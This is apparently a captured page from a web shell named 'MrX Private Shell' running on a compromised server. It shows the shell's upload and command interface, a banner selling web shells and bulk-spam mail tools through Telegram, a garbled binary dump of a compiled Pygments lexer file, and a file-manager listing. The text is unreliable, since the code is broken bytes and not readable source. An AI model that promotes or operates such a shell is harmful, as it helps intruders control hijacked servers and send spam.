__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�&�g%���F�SrSSKrSSKrSSKrSSKJrJr SSKJr SSK	J
r
JrJrJ
r
Jr SSKJrJrJrJrJrJr SSKJr /SQr\R2"S	5r/S
Qr\"S5r"SS
\5r"SS\S9r "SS\ 5r!"SS\"5r#"SS5r$\$"5r%"SS\&5r'"SS5r(Sr)"SS5r*\*"5r+Sr,"SS 5r-"S!S"\5r."S#S$\5r/"S%S&\ \/S9r0"S'S(5r1"S)S*\05r2S+r3"S,S-\/5r4"S.S/\0\4S9r5g)0z�
pygments.lexer
~~~~~~~~~~~~~~

Base lexer classes.

:copyright: Copyright 2006-2024 by the Pygments team, see AUTHORS.
:license: BSD, see LICENSE for details.
�N)�
apply_filters�Filter)�get_filter_by_name)�Error�Text�Other�
Whitespace�
_TokenType)�get_bool_opt�get_int_opt�get_list_opt�make_analysator�Future�guess_decode)�	regex_opt)
�Lexer�
RegexLexer�ExtendedRegexLexer�DelegatingLexer�LexerContext�include�inherit�bygroups�using�this�default�words�line_rez.*?
))s�utf-8)s��zutf-32)s��zutf-32be)s��zutf-16)s��zutf-16bec��g)N��)�xs �0/usr/lib/python3/dist-packages/pygments/lexer.py�<lambda>r%"s��#�c��\rSrSrSrSrSrg)�	LexerMeta�%zv
This metaclass automagically converts ``analyse_text`` methods into
static methods which always return float values.
c�\�SU;a[US5US'[RXX#5$)N�analyse_text)r�type�__new__)�mcs�name�bases�ds    r$r-�LexerMeta.__new__+s/���Q�� /��.�0A� B�A�n���|�|�C�u�0�0r&r"N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r-�__static_attributes__r"r&r$r(r(%s���
1r&r(c�j�\rSrSrSrSr/r/r/r/r	Sr
SrSrSr
SrSrSrSrS	rS
S
jrSrSrg)r�1an
Lexer for a specific language.

See also :doc:`lexerdevelopment`, a high-level guide to writing
lexers.

Lexer classes have attributes used for choosing the most appropriate
lexer based on various criteria.

.. autoattribute:: name
   :no-value:
.. autoattribute:: aliases
   :no-value:
.. autoattribute:: filenames
   :no-value:
.. autoattribute:: alias_filenames
.. autoattribute:: mimetypes
   :no-value:
.. autoattribute:: priority

Lexers included in Pygments should have two additional attributes:

.. autoattribute:: url
   :no-value:
.. autoattribute:: version_added
   :no-value:

Lexers included in Pygments may have additional attributes:

.. autoattribute:: _example
   :no-value:

You can pass options to the constructor. The basic options recognized
by all lexers and processed by the base `Lexer` class are:

``stripnl``
    Strip leading and trailing newlines from the input (default: True).
``stripall``
    Strip all leading and trailing whitespace from the input
    (default: False).
``ensurenl``
    Make sure that the input ends with a newline (default: True).  This
    is required for some lexers that consume input linewise.

    .. versionadded:: 1.3

``tabsize``
    If given and greater than 0, expand tabs in the input (default: 0).
``encoding``
    If given, must be an encoding name. This encoding will be used to
    convert the input string to Unicode, if it is not already a Unicode
    string (default: ``'guess'``, which uses a simple UTF-8 / Locale /
    Latin1 detection.  Can also be ``'chardet'`` to use the chardet
    library, if it is installed.
``inencoding``
    Overrides the ``encoding`` if given.
Nrc�x�Xl[USS5Ul[USS5Ul[USS5Ul[USS5UlURSS	5UlURS
5=(d URUl/Ul	[USS5HnURU5 M g
)a)
This constructor takes arbitrary options as keyword arguments.
Every subclass must first process its own options and then call
the `Lexer` constructor, since it processes the basic
options like `stripnl`.

An example looks like this:

.. sourcecode:: python

   def __init__(self, **options):
       self.compress = options.get('compress', '')
       Lexer.__init__(self, **options)

As these options must all be specifiable as strings (due to the
command line usage), there are various utility functions
available to help with that, see `Utilities`_.
�stripnlT�stripallF�ensurenl�tabsizer�encoding�guess�
inencoding�filtersr"N)�optionsrr<r=r>rr?�getr@rCr
�
add_filter)�selfrD�filter_s   r$�__init__�Lexer.__init__�s���&��#�G�Y��=���$�W�j�%�@��
�$�W�j�$�?��
�"�7�I�q�9������J��8��
����L�1�B�T�]�]��
����#�G�Y��;�G��O�O�G�$�<r&c��UR(a(SURRSUR<S3$SURRS3$)Nz<pygments.lexers.z with �>)rD�	__class__r3�rGs r$�__repr__�Lexer.__repr__�sI���<�<�&�t�~�~�'>�'>�&?�v�d�l�l�EU�UV�W�W�&�t�~�~�'>�'>�&?�q�A�Ar&c�|�[U[5(d[U40UD6nURR	U5 g)z(
Add a new stream filter to this lexer.
N)�
isinstancerrrC�append)rGrHrDs   r$rF�Lexer.add_filter�s2���'�6�*�*�(��<�G�<�G������G�$r&c��g)aa
A static method which is called for lexer guessing.

It should analyse the text and return a float in the range
from ``0.0`` to ``1.0``.  If it returns ``0.0``, the lexer
will not be selected as the most probable one, if it returns
``1.0``, it will be selected immediately.  This is used by
`guess_lexer`.

The `LexerMeta` metaclass automatically wraps this function so
that it works like a static method (no ``self`` or ``cls``
parameter) and the return value is automatically converted to
`float`. If the return value is an object that is boolean `False`
it's the same as if the return values was ``0.0``.
Nr")�texts r$r+�Lexer.analyse_text�s�r&c�0�[U[5(d�URS:Xa[U5upGOURS:Xa�SSKnSn[H;upgURU5(dMU[U5SRUS5n O Uc>URUSS5nURURS5=(d S	S5nUnOdURUR5nURS
5(aU[S
5SnO$URS
5(aU[S
5SnURSS5nURS
S5nUR(aUR5nO"UR(aURS5nUR S:�aUR#UR 5nUR$(aUR'S5(dUS-
nU$![
an[S5UeSnAff=f)zVApply preprocessing such as decoding the input, removing BOM and normalizing newlines.rA�chardetrNzkTo enable chardet encoding guessing, please install the chardet library from http://chardet.feedparser.org/�replaceir@ruz
�
�
)rR�strr@rrY�ImportError�
_encoding_map�
startswith�len�decode�detectrErZr=�stripr<r?�
expandtabsr>�endswith)	rGrV�_rY�e�decoded�bomr@�encs	         r$�_preprocess_lexer_input�Lexer._preprocess_lexer_input�s����$��$�$��}�}��'�&�t�,���a����)�+�T�"���%2�M�C����s�+�+�"&�s�3�x�y�/�"8�"8��9�"M���&3�
�?�!�.�.��e�t��5�C�"�k�k�#�'�'�*�*=�*H��*3�5�G����{�{�4�=�=�1���?�?�8�,�,���H�
��/�D�����x�(�(��C��M�N�+���|�|�F�D�)���|�|�D�$�'���=�=��:�:�<�D�
�\�\��:�:�d�#�D��<�<�!���?�?�4�<�<�0�D��=�=����t�!4�!4��D�L�D����I#�T�%�'L�M�RS�T��T�s�G:�:
H�H�Hc�^^�TRT5mUU4SjnU"5nU(d[UTRT5nU$)a
This method is the basic interface of a lexer. It is called by
the `highlight()` function. It must process the text and return an
iterable of ``(tokentype, value)`` pairs from `text`.

Normally, you don't need to override this method. The default
implementation processes the options recognized by all lexers
(`stripnl`, `stripall` and so on), and then yields all tokens
from `get_tokens_unprocessed()`, with the ``index`` dropped.

If `unfiltered` is set to `True`, the filtering mechanism is
bypassed even if filters are defined.
c3�N># �TRT5HupnX4v� M
 g7f�N)�get_tokens_unprocessed)rg�t�vrGrVs   ��r$�streamer�"Lexer.get_tokens.<locals>.streamer
s&�����6�6�t�<���a��d�
�=�s�"%)rlrrC)rGrV�
unfilteredrt�streams``   r$�
get_tokens�Lexer.get_tokens�s=����+�+�D�1��	�����"�6�4�<�<��>�F��
r&c��[e)a#
This method should process the text and return an iterable of
``(index, tokentype, value)`` tuples where ``index`` is the starting
position of the token within the input text.

It must be overridden by subclasses. It is recommended to
implement it as a generator to maximize effectiveness.
)�NotImplementedError)rGrVs  r$rq�Lexer.get_tokens_unprocesseds
��"�!r&)r@r>rCrDr=r<r?)F)r3r4r5r6r7r/�aliases�	filenames�alias_filenames�	mimetypes�priority�url�
version_added�_examplerIrOrFr+rlrxrqr8r"r&r$rr1sl��8�v�D��G�
�I��O��I��H��C��M��H�%�<B�%��"-�^�0	"r&r)�	metaclassc�*�\rSrSrSr\4SjrSrSrg)ri!a
This lexer takes two lexer as arguments. A root lexer and
a language lexer. First everything is scanned using the language
lexer, afterwards all ``Other`` tokens are lexed using the root
lexer.

The lexers from the ``template`` lexer package use this base lexer.
c�r�U"S0UD6UlU"S0UD6UlX0l[R"U40UD6 g�Nr")�
root_lexer�language_lexer�needlerrI)rG�_root_lexer�_language_lexer�_needlerDs     r$rI�DelegatingLexer.__init__+s7��%�0��0���-�8��8�����
���t�'�w�'r&c��Sn/n/nURRU5HRupVnX`RLa+U(aUR[	U5U45 /nX'-
nM?URXVU45 MT U(aUR[	U5U45 [UURRU55$)N�)r�rqr�rSra�
do_insertionsr�)rGrV�buffered�
insertions�
lng_buffer�irrrss        r$rq�&DelegatingLexer.get_tokens_unprocessed1s������
��
��*�*�A�A�$�G�G�A�!��K�K����%�%�s�8�}�j�&A�B�!#�J��
���!�!�1��)�,�H�����s�8�}�j�9�:��Z�!�_�_�C�C�H�M�O�	Or&)r�r�r�N)	r3r4r5r6r7rrIrqr8r"r&r$rr!s���>C�(�Or&rc��\rSrSrSrSrg)riHzA
Indicates that a state should include rules from another state.
r"N�r3r4r5r6r7r8r"r&r$rrHs���	r&rc��\rSrSrSrSrSrg)�_inheritiOz;
Indicates the a state should inherit from its superclass.
c��g)Nrr"rNs r$rO�_inherit.__repr__Ss��r&r"N)r3r4r5r6r7rOr8r"r&r$r�r�Os���r&r�c�$�\rSrSrSrSrSrSrg)�combinediYz2
Indicates a state combined from multiple states.
c�,�[RX5$rp)�tupler-)�cls�argss  r$r-�combined.__new__^s���}�}�S�'�'r&c��grpr")rGr�s  r$rI�combined.__init__as��r&r"N)r3r4r5r6r7r-rIr8r"r&r$r�r�Ys���(�
r&r�c�H�\rSrSrSrSrSSjrSSjrSSjrSr	S	r
S
rg)�_PseudoMatchifz2
A pseudo match object constructed from a string.
c��X lXlgrp)�_text�_start)rG�startrVs   r$rI�_PseudoMatch.__init__ks���
��r&Nc��UR$rp)r��rG�args  r$r��_PseudoMatch.startos���{�{�r&c�F�UR[UR5-$rp)r�rar�r�s  r$�end�_PseudoMatch.endrs���{�{�S����_�,�,r&c�>�U(a[S5eUR$)Nz
No such group)�
IndexErrorr�r�s  r$�group�_PseudoMatch.groupus����_�-�-��z�z�r&c��UR4$rp)r�rNs r$�groups�_PseudoMatch.groupszs���
�
�}�r&c��0$rpr"rNs r$�	groupdict�_PseudoMatch.groupdict}s���	r&)r�r�rp)r3r4r5r6r7rIr�r�r�r�r�r8r"r&r$r�r�fs%�����-��
�r&r�c�^�SU4SjjnU$)zD
Callback that yields multiple actions for each group in the match.
c
3��># �[T5H�up4UcM
[U5[La7URUS-5nU(aUR	US-5XE4v� MQMSURUS-5nUcMlU(aUR	US-5UlU"U[
UR	US-5U5U5HnU(dMUv� M M� U(aUR5Ulgg7f)N�)�	enumerater,r
r�r��posr�r�)�lexer�match�ctxr��action�data�itemr�s       �r$�callback�bygroups.<locals>.callback�s�����"�4��I�A��~���f���+��{�{�1�q�5�)����+�+�a�!�e�,�f�:�:���{�{�1�q�5�)���#��"'�+�+�a�!�e�"4��� &�u�'3�E�K�K��A��4F��'M�s�!T���4�"&�J�!T�)� ��i�i�k�C�G��s�A4C7�;AC7�
*C7rpr")r�r�s` r$rr�s���"�&�Or&c��\rSrSrSrSrg)�_Thisi�zL
Special singleton used for indicating the caller class.
Used by ``using``.
r"Nr�r"r&r$r�r��s��r&r�c��^^^�0mST;a9TRS5n[U[[45(aUTS'OSU4TS'T[LaSUU4SjjnU$SUUU4SjjnU$)a�
Callback that processes the match with a different lexer.

The keyword arguments are forwarded to the lexer, except `state` which
is handled separately.

`state` specifies the state that the new lexer will start in, and can
be an enumerable such as ('root', 'inline', 'string') or a simple
string which is assumed to be on top of the root state.

Note: For that to work, `_other` must not be an `ExtendedRegexLexer`.
�state�stack�rootc3�<># �T	(a.T	RUR5 UR"S0T	D6nOUnUR5nUR"UR540TD6HupVnXT-Xg4v� M U(aUR
5Ulgg7fr�)�updaterDrMr�rqr�r�r�)
r�r�r��lx�sr�rrrs�	gt_kwargs�kwargss
        ��r$r��using.<locals>.callback�s�������
�
�e�m�m�,��_�_�.�v�.�������
�A��4�4�U�[�[�]�P�i�P���a��e�Q�k�!�Q���)�)�+����s�BBc3�># �T
RUR5 T"S0T
D6nUR5nUR"UR	540T	D6HupVnXT-Xg4v� M U(aUR5Ulgg7fr�)r�rDr�rqr�r�r�)r�r�r�r�r�r�rrrs�_otherr�r�s        ���r$r�r��st�����M�M�%�-�-�(��!�&�!�B����
�A��4�4�U�[�[�]�P�i�P���a��e�Q�k�!�Q���)�)�+����s�BBrp)�poprR�listr�r)r�r�r�r�r�s``  @r$rr�sr����I��&���J�J�w����a�$���'�'�!"�I�g��"(�!��I�g��
��~�
	&�
	&�2�O�		&�		&��Or&c��\rSrSrSrSrSrg)ri�z�
Indicates a state or state action (e.g. #pop) to apply.
For example default('#pop') is equivalent to ('', Token, '#pop')
Note that state tuples may be used as well.

.. versionadded:: 2.0
c��Xlgrp�r�)rGr�s  r$rI�default.__init__�s���
r&r�N)r3r4r5r6r7rIr8r"r&r$rr�s���r&rc�(�\rSrSrSrSSjrSrSrg)ri�z�
Indicates a list of literal words that is transformed into an optimized
regex that matches any of the words.

.. versionadded:: 2.0
c�(�XlX lX0lgrp)r�prefix�suffix)rGrr�r�s    r$rI�words.__init__�s���
����r&c�T�[URURURS9$)N�r�r�)rrr�r�rNs r$rE�	words.get�s������D�K�K����L�Lr&)r�r�rN)r�r�)r3r4r5r6r7rIrEr8r"r&r$rr�s����
Mr&rc�F�\rSrSrSrSrSrSrSrSSjr	S	r
S
rSrg)
�RegexLexerMetai�zk
Metaclass for RegexLexer, creates the self._tokens attribute from
self.tokens on the first instantiation.
c��[U[5(aUR5n[R"X5R
$)zBPreprocess the regular expression component of a token definition.)rRrrE�re�compiler�)r��regex�rflagsr�s    r$�_process_regex�RegexLexerMeta._process_regex�s/���e�V�$�$��I�I�K�E��z�z�%�(�.�.�.r&c�`�[U5[Ld[U5(dSU<35eU$)z5Preprocess the token component of a token definition.z0token type must be simple type or callable, not )r,r
�callable)r��tokens  r$�_process_token�RegexLexerMeta._process_token�s4���E�{�j�(�H�U�O�O�	I�>�u�i�H�	I�;��r&c��[U[5(a:US:XagX;aU4$US:XaU$USSS:Xa[USS5*$SU<35e[U[5(agSUR-nU=RS	-
sl/nUH4nXa:wdS
U<35eURUR
UX655 M6 XSU'U4$[U[5(a"UHnXb;aM
US;aMSU-5e U$SU<35e)
z=Preprocess the state transition action of a token definition.�#pop����#pushN�z#pop:zunknown new state z_tmp_%dr�zcircular state ref )r�r�zunknown new state def )rRr]�intr��_tmpname�extend�_process_stater�)r��	new_state�unprocessed�	processed�	tmp_state�itokens�istates       r$�_process_new_state�!RegexLexerMeta._process_new_statesD���i��%�%��F�"���)�!�|�#��g�%� � ��2�A��'�)��I�a�b�M�*�*�*�@� 2�9�-�@�@�u�
�	�8�
,�
,�!�C�L�L�0�I��L�L�A��L��G�#���*�L�.A�&��,L�L�*����s�1�1�+�2;� E�F�$�$+�i� ��<��
�	�5�
)�
)�#���-��"3�3�2�(�6�1�2�4�$���@�2�9�-�@�@�5r&c��[U[5(dSU<35eUSS:wdSU<35eX2;aX#$/=oBU'URnXGHRn[U[5(a<Xc:wdSU<35eUR	URX[U555 MU[U[5(aMl[U[5(aPURURX5nUR[R"S5RSU45 M�[U5[LdSU<35eUR!USXS5nUR'US
5n
[)U5S:XaSnOURUSX5nURX�U45 GMU U$!["a#n	[%S	US<S
U<SU<SU	35U	eSn	A	ff=f)z%Preprocess a single state definition.zwrong state name r�#zinvalid state name zcircular state reference r�Nzwrong rule def zuncompilable regex z
 in state z of z: r��)rRr]�flagsrr�r�r�rrr�rSr�r�r�r,r�r��	Exception�
ValueErrorr�ra)r�rrr��tokensr��tdefr�rex�errr�s           r$r��RegexLexerMeta._process_state's����%��%�%�D�):�5�)�'D�D�%��Q�x�3��?�"5�e�Y� ?�?�����#�#�$&�&��5�!������&�D��$��(�(��}�K�(A�%��&K�K�}��
�
�c�0�0��14�T��<�=���$��)�)���$��(�(��2�2�4�:�:�{�V�	��
�
�r�z�z�"�~�3�3�T�9�E�F����:��&�B�/�$��(B�B�&�
r��(�(��a��&�@���&�&�t�A�w�/�E��4�y�A�~� �	��2�2�4��7�3>�K�	�
�M�M�3�y�1�2�A'�B�
���
r� �#6�t�A�w�k��E�9�TX�Y\�X_�_a�be�af�!g�h�nq�q��
r�s�F-�-
G�7G�GNc��0=o0RU'U=(d URUn[U5HnURX#U5 M U$)z-Preprocess a dictionary of token definitions.)�_all_tokensrr�r�)r�r/�	tokendefsrr�s     r$�process_tokendef�RegexLexerMeta.process_tokendefRsJ��,.�.�	�O�O�D�)��1����D�!1�	��)�_�E����y�U�;�%��r&c��0n0nURH�nURRS05nUR5HrupVURU5nUc XaU'UR	[
5nX�U'M9URUS5nUcMPXgX�S-&UR	[
5n	X�-X%'Mt M� U$![a M�f=f![a M�f=f)a�
Merge tokens from superclasses in MRO order, returning a single tokendef
dictionary.

Any state that is not defined by a subclass will be inherited
automatically.  States that *are* defined by subclasses will, by
default, override that state in the superclass.  If a subclass wishes to
inherit definitions from a superclass, it can use the special value
"inherit", which will cause the superclass' state definition to be
included at that point in the state.
rNr�)�__mro__�__dict__rE�items�indexrr
r�)
r�r�inheritable�c�toksr�r�curitems�inherit_ndx�new_inh_ndxs
          r$�
get_tokendefs�RegexLexerMeta.get_tokendefsZs����������A��:�:�>�>�(�B�/�D� $�
�
����!�:�:�e�,���#�
%*�5�M�!�&+�k�k�'�&:��*5��&��)�o�o�e�T�:���&��7<���]�3�C�#(�+�+�g�"6�K�*5�)B�K�&�9!-��B�
��)&�!� �!��"����s$�B<�C
�<
C
�	C
�
C�Cc��SUR;aV0UlSUl[US5(aUR(aO%URSUR
55Ul[R"U/UQ70UD6$)z:Instantiate cls after preprocessing its token definitions.�_tokensr�token_variantsr�)
rrr��hasattrr'rr#r&r,�__call__)r�r��kwdss   r$r)�RegexLexerMeta.__call__�sk���C�L�L�(� �C�O��C�L��s�,�-�-�#�2D�2D��!�2�2�2�s�7H�7H�7J�K����}�}�S�0�4�0�4�0�0r&r"rp)
r3r4r5r6r7r�r�rr�rr#r)r8r"r&r$r�r��s.���
/��!A�F)�V�/�b1r&r�c�>�\rSrSrSr\Rr0rSSjr	Sr
g)ri�z�
Base for simple stateful regular expression-based lexers.
Simplifies the lexing process so that you need only
provide a list of states and regular expressions.
c#�n# �SnURn[U5nXESnUGH>upxn	U"X5n
U
(dMUb7[U5[LaX8U
R	54v� OU"X
5Shv�N U
R5nU	b�[
U	[5(a`U	HYnUS:Xa#[U5S:�aUR5 M*M,US:XaURUS5 MHURU5 M[ O^[
U	[5(a#[U	5[U5:�aUSS2	O+XYS2	O&U	S:XaURUS5 OSU	<35eXESn O8 XS:XaS	/nUS	nU[S4v� US-
nGMjU[X4v� US-
nGM~GN/![a gf=f7f)
zf
Split ``text`` into (tokentype, text) pairs.

``stack`` is the initial stack (default: ``['root']``)
rr�r�Nr�r��wrong state def: r[r�)r&r�r,r
r�r�rRr�rar�rSr��absr	rr�)rGrVr�r�r�
statestack�statetokens�rexmatchr�r�mr�s            r$rq�!RegexLexer.get_tokens_unprocessed�s�������L�L�	��%�[�
��2��/���/:�+��)��T�'���1��)���<�:�5�"%�q�w�w�y�"8�8�'-�d��6�6��%�%�'�C� �,�%�i��7�7�)2��#(�F�?�'*�:���':�(2���(8�(;�%*�g�%5�$.�$5�$5�j��n�$E�$.�$5�$5�e�$<�*3�(�	�3�7�7� #�9�~��Z��@�$.�q�r�N�$.�z�$:�&�'�1�&�-�-�j��n�=�K�,=�i�]�*K�K�5�&/�2��&?���C0;�J��y�D�(�&,�X�
�&/��&7��!�:�t�3�3��q��� ��u�d�i�/�/��1�H�C�_�7��P"����sG�8F5�5F5�3F"�4C5F5�* F%�
F5�
F%�F5�%
F2�/F5�1F2�2F5r"N�)r�)r3r4r5r6r7r��	MULTILINErrrqr8r"r&r$rr�s���
�L�L�E�0�F�;r&rc�(�\rSrSrSrSSjrSrSrg)ri�z1
A helper object that holds lexer position data.
Nc�p�XlX lU=(d [U5UlU=(d S/Ulg)Nr�)rVr�rar�r�)rGrVr�r�r�s     r$rI�LexerContext.__init__�s*���	����#�#�d�)����&�v�h��
r&c�\�SUR<SUR<SUR<S3$)Nz
LexerContext(z, �))rVr�r�rNs r$rO�LexerContext.__repr__s)���t�y�y�m�2�d�h�h�\��D�J�J�>��K�Kr&)r�r�r�rV�NN)r3r4r5r6r7rIrOr8r"r&r$rr�s���'�Lr&rc�"�\rSrSrSrSSjrSrg)ri	z=
A RegexLexer that uses a context object to store its state.
Nc#��# �URnU(d[US5nUSnOUnX4RSnURnUGH�upgnU"XRUR
5n	U	(dM-Ubo[
U5[La4URXyR54v� U	R5UlO)U"X	U5Shv�N U(dX4RSnUGbI[U[5(a�UH�n
U
S:Xa7[UR5S:�aURR5 M>M@U
S:Xa*URRURS5 MpURRU
5 M� O�[U[5(aB[U5[UR5:�aURSS2	OJURUS2	O:US:Xa)URRURS5 OSU<35eX4RSn O� URUR
:�agXRS	:Xa:S/UlUSnUR[ S	4v� U=RS-
slGM[UR["XR4v� U=RS-
slGM�GN![$a gf=f7f)
zg
Split ``text`` into (tokentype, text) pairs.
If ``context`` is given, use this lexer context instead.
rr�r�r�Nr�r�r.r[)r&rr�rVr�r�r,r
r�rRr�rar�rSr�r/rrr�)rGrV�contextrr�r1r2r�rr3r�s           r$rq�)ExtendedRegexLexer.get_tokens_unprocessedsg���
�L�L�	���t�Q�'�C�#�F�+�K��C�#�I�I�b�M�2�K��8�8�D��/:�+��)��T�7�7�C�G�G�4���1��)���<�:�5�"%�'�'�6�7�7�9�"<�<�&'�e�e�g�C�G�'-�d�s�';�;�;�#,�.7�	�	�"�
�.F�� �,�%�i��7�7�)2��#(�F�?�'*�3�9�9�~��'9�(+�	�	�
�
��(:�%*�g�%5�$'�I�I�$4�$4�S�Y�Y�r�]�$C�$'�I�I�$4�$4�U�$;�*3�(�	�3�7�7�"�9�~��S�Y�Y��?�$'�I�I�a�b�M�$'�I�I�i�j�$9�&�'�1��I�I�,�,�S�Y�Y�r�]�;�K�,=�i�]�*K�K�5�&/�	�	�"�
�&>���G0;�J
��w�w�#�'�'�)���G�G�}��,�%+�H��	�&/��&7��!�g�g�t�T�1�1����1��� ��'�'�5�$�w�w�-�7�7��G�G�q�L�G�c�<��R"����sW�A1K.�7AK.�K�
E-K.�;K�K.�A	K�K.�"6K�K.�
K+�(K.�*K+�+K.r"r=)r3r4r5r6r7rqr8r"r&r$rr	s
���@r&rc#��# �[U5n[U5up#SnSnUH�upgnUcUnSn	U(a�U[U5-U:�anX�X&-
n
U
(aXGU
4v� U[U
5-
nUHup�n
XLU
4v� U[U
5-
nM X&-
n	[U5up#U(aU[U5-U:�aMnU	[U5:dM�XGX�S4v� U[U5U	-
-
nM� U(aCU=(d SnUHup�nXGU4v� U[U5-
nM [U5up#U(aMBgg![a UShv�N gf=f![a SnM�f=f![a Sngf=f7f)aC
Helper for lexers which must combine the results of several
sublexers.

``insertions`` is a list of ``(index, itokens)`` pairs.
Each ``itokens`` iterable should be inserted at position
``index`` into the token stream given by the ``tokens``
argument.

The result is a combined token stream.

TODO: clean up the code here.
NTrF)�iter�next�
StopIterationra)r�rrr�realpos�insleftr�rrrs�oldi�tmpval�it_index�it_token�it_value�ps               r$r�r�Qs�����j�!�J���j�)����G��G����a��?��G����!�c�!�f�*��-��E�I�&�F���&�(�(��3�v�;�&��07�,��H���1�1��3�x�=�(��18��9�D�
�!%�j�!1����!�c�!�f�*��-��#�a�&�=��a��h�&�&��s�1�v��}�$�G�+�0��,�Q���G�A�!��a�-���s�1�v��G��	�!�*�-�N�E��'��E��������4!�
����
�� �	��G��	�s��E/�
D/�A1E/�
E
�E/�6
E/�AE/�
E�$E/�-E/�/E�>E�?E�E/�E�E/�
E�E/�E�E/�E,�)E/�+E,�,E/c��\rSrSrSrSrSrg)�ProfilingRegexLexerMetai�z>Metaclass for ProfilingRegexLexer, collects regex timing info.c��^^^^�[U[5(a*[URURURS9mOUm[
R"TU5m[R4UUUU4SjjnU$)Nr�c�>�TRSRT
T	4SS/5n[R"5nTRXU5n[R"5nUS==S-
ss'US==Xd-
-
ss'U$)Nr�rr!r�)�
_prof_data�
setdefault�timer�)rVr��endpos�info�t0�res�t1r��compiledrr�s       ����r$�
match_func�:ProfilingRegexLexerMeta._process_regex.<locals>.match_func�sn����>�>�"�%�0�0�%����3�x�H�D�����B��.�.��F�3�C�����B���G�q�L�G���G�r�w��G��Jr&)	rRrrr�r�r�r��sys�maxsize)r�r�r�r�r[rZrs`  ` @@r$r��&ProfilingRegexLexerMeta._process_regex�s]����e�U�#�#��E�K�K����#(�<�<�1�C��C��:�:�c�6�*��),���	�	��r&r"N)r3r4r5r6r7r�r8r"r&r$rOrO�s
��H�r&rOc�*�\rSrSrSr/rSrSSjrSrg)�ProfilingRegexLexeri�zFDrop-in replacement for RegexLexer that does profiling of its regexes.�c#�H^# �TRRR05 [R	TX5Shv�N TRRR5n[
SUR55U4SjSS9n[SU55n[5 [STRR[U5U4-5 [S5 [SS	-5 [S
5 UHn[SU-5 M [S5 gN�7f)Nc3�# �UHGuupup4U[U5RS5RSS5SSUSU-SU-U-4v� MI g7f)zu'z\\�\N�Ai�)�reprrdrZ)�.0r��r�nrrs     r$�	<genexpr>�=ProfilingRegexLexer.get_tokens_unprocessed.<locals>.<genexpr>�s\���@�/>�+�F�Q�F�Q��4��7�=�=��/�7�7���E�c�r�J��4�!�8�T�A�X��\�3�/>�s�AAc�">�UTR$rp)�_prof_sort_index)r#rGs �r$r%�<ProfilingRegexLexer.get_tokens_unprocessed.<locals>.<lambda>�s���A�d�&;�&;�$<r&T)�key�reversec3�*# �UH	oSv� M g7f)�Nr")rhr#s  r$rkrl�s���+�d��!��d�s�z2Profiling result for %s lexing %d chars in %.3f mszn==============================================================================================================z$%-20s %-64s ncalls  tottime  percall)r�r�zn--------------------------------------------------------------------------------------------------------------z%-20s %-65s %5d %8.4f %8.4f)rMrRrSrrqr��sortedr�sum�printr3ra)rGrVr��rawdatar��	sum_totalr1s`      r$rq�*ProfilingRegexLexer.get_tokens_unprocessed�s��������!�!�(�(��,��4�4�T�4�G�G�G��.�.�+�+�/�/�1���@�/6�}�}��@�=�"�	$��
�+�d�+�+�	�
��
�B��~�~�&�&��D�	�9�=�>�	?�
�i��
�4�7I�I�J�
�i���A��/�!�3�4��
�i��#	H�s�?D"�D �CD"r"Nr5)	r3r4r5r6r7rRrnrqr8r"r&r$rara�s��P��J���r&ra)6r7r�r]rT�pygments.filterrr�pygments.filtersr�pygments.tokenrrrr	r
�
pygments.utilrrr
rrr�pygments.regexoptr�__all__r�rr_�staticmethod�_default_analyser,r(rrr]rr�rr�r�r�rr�rrrrr�rrrr�rOrar"r&r$�<module>r�sJ���
�
��1�/�E�E�*�*�'�*��
�*�*�W�
��,�
� �
�.��	1��	1�m"�i�m"�`O�e�O�N	�c�	����*��

�u�

���6�4��
�w��/�d	�	�
M�F�
M� d1�Y�d1�N^��.�^�BL�L�E��E�P=�@�n��,�*�0G�r&

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 3.29 KB 0644
__main__.cpython-313.pyc File 718 B 0644
cmdline.cpython-313.pyc File 26.32 KB 0644
console.cpython-313.pyc File 2.5 KB 0644
filter.cpython-313.pyc File 3.11 KB 0644
formatter.cpython-313.pyc File 4.38 KB 0644
lexer.cpython-313.pyc File 37.84 KB 0644
modeline.cpython-313.pyc File 1.49 KB 0644
plugin.cpython-313.pyc File 2.45 KB 0644
regexopt.cpython-313.pyc File 3.97 KB 0644
scanner.cpython-313.pyc File 4.53 KB 0644
sphinxext.cpython-313.pyc File 11.84 KB 0644
style.cpython-313.pyc File 6.72 KB 0644
token.cpython-313.pyc File 8.01 KB 0644
unistring.cpython-313.pyc File 32.21 KB 0644
util.cpython-313.pyc File 13.8 KB 0644
Filemanager